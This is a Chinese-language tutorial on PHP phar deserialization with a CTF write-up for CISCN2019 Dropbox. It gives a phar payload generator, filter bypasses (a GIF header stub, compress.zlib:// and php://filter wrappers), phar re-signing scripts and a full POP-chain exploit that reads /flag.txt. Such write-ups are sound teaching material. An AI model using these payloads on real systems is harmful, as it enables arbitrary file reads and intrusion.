phar反序列化

phar是php的一个伪协议,下面是其正常应用:

<?php
// 创建一个新的 Phar 文件
$phar = new Phar('myapp.phar');

// 添加文件
$phar['index.php'] = file_get_contents('index.php');
$phar['about.php'] = file_get_contents('about.php');

// 设置默认的启动文件
$phar->setStub($phar->createDefaultStub('index.php'));

// 现在，你可以像访问文件一样访问 Phar 文件中的内容
include 'phar://myapp.phar/index.php';
?>

这个伪协议可以将多个文件的内容合并在一个phar文件下,然后用类似路径的方式去访问.
phar文件是由下面四个部分组成:

1. a stub

可以理解为一个标志，格式为xxx<?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

一种处于文件末尾的签名
phar会造成反序列化漏洞的原因，是phar文件会以序列化的形式存储用户自定义的meta-data，PHP使用phar_parse_metadata在解析meta数据时，会调用php_var_unserialize进行反序列化操作。
下面的函数会受到影响

我们来看一个通用性的生成脚本

<?php
    class TestObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();//这个$o实际上是我们构造的pop链的最外层接口
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

然后如果上传文件后能够在服务器端构造出如下的代码,即可成功的执行反序列化攻击

$filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename);

phar反序列化攻击的要点主要有如下三条:
1 . phar文件能上传至服务器
2 . 存在可利用的魔术方法
3 . 文件操作的参数可控，且且:、/、phar等特殊字符没有被过滤

一些绕过姿势
1.文件头检测绕过
可以通过在stub中添加参数来实现将phar文件当做jpg/png等类型的文件解析

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头

2.文件包含时限制头部字段

// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/==sx==/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar

3.对于文件中__HALT_COMOILER进行检测

gzip test.phar

可以在linux下压缩其为gzip压缩包,然后文件包含的时候使用compress.gzip来解析
4.__wakeup绕过和fastgc
由于在phar文件的结尾处存在对于文件的签名,因此我们不能简单的打开文件去修改,而是在修改结束之后需要对签名进行一个处理.

from hashlib import sha1 #默认sha1加密
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据（对于sha1签名的phar文件，文件末尾28字节为签名的格式）
h = f[-8:] # 获取签名类型以及GBMB标识，各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件

`from hashlib import sha256 #也有sha256加密`  
`with open("exp.phar", "rb") as f:`  
`text = f.read()`  
`main = text[:-40] #正文部分（除去最后40字节）`  
`end = text[-8:] #最后8位不变`  
`new_sign = sha256(main).digest()`  
`new_phar = main + new_sign + end`  
`open("new_exp.phar", "wb").write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件`

接下来用一个例题来演示一下整个流程.

[CISCN2019 华北赛区 Day1 Web1]Dropbox

上来有一个注册框,能够注册并登录.
进去以后发现是个类似网盘的东西,能够进行文件上传,经过测试发现只能上传图片.上传成功后发现可以进行下载或是删除.
经过测试发现存在文件下载漏洞.我们通过两次路径穿越下载源码.
index.php(省略前端html和js了,因为没有什么实际作用)

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

没有什么东西,但是引用了一个class.php,我们去把他下下来.

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

其中含有三个类,其中User的__destruct()魔术方法明显是我们将要的接口.(为什么不是FileList的__destruct()?因为他的__destruct()中含有过多的前端交互元素,一看就有他自己的作用.)File类的Close方法明显将作为任意读文件的接口,但是如果将Close方法直接连接到User的__destruct(),将无法输出读到的文件,因此我们需要通过FlieList的__call()魔术方法来作为中间节点.
我们可以看到,__call()魔术方法的
$this->results[$file->name()][$func] = $file->$func();很有意思,他将函数执行的结果存放到results数组中,而观察该类的其他方法可知,results数组中的内容会被作为字符串输出的.那么目标也就明确了,应该将flie中的Close方法访问到的文件内容存储到results中.pop链如下.

User.__destruct()->Filelist.__call()->File.close()

由于接口为文件上传,因此我们也就想到了phar反序列化攻击,因此也就写成脚本如下

<?php
    class User{
        public $db;
    }
    class FileList{
        private $files;
        private $results;
        private $funcs;
        public function __construct() {
                $this->files = array(new File());
                #由于file参数是从files。foreach读取的。而foreach要求是个数组。所以这边要用数组
                $this->results = array();
                $this->funcs = array();   
        }
    }
    class File{
        public $filename;
        public function __construct(){
            $this->filename='/flag.txt';
        }
    }
    $a=new User();
    $a->db=new FileList();
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($a); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

为什么读取的文件叫做flag.txt?答案是猜的,猜测根目录下有这样一个文件.
然后将扩展名修改为.jpg,因为phar文件的解释是不需要依赖于扩展名的.
那么接下来又存在一个问题,我们需要一个文件包含的漏洞去触发这个反序列化漏洞.我们下载download.php和delete.php的源码去看看.
download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

我们可以看到由于download.php文件存在下面这条语句,因此不能通过文件下载漏洞直接获得flagini_set("open_basedir", getcwd() . ":/etc:/tmp");
限制了活动的范围:当前目录,/etc目录,/tmp目录
delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

这里我们可以看到,并没有对于活动目录的限制,而其中调用了File方法中的delete函数,我们可以看到delete函数中存在unlink(),可以触发phar反序列化.因此我们只需要上传我们生成的phar.jpg文件,并在delete时抓包,将filename参数改为phar://phar.jpg/test.txt即可.
注意一个要点,不同版本的php生成的phar文件可能是不同的,这题的php的版本是5.6,如果使用7.12的php进行phar文件生成则无法顺利读取flag.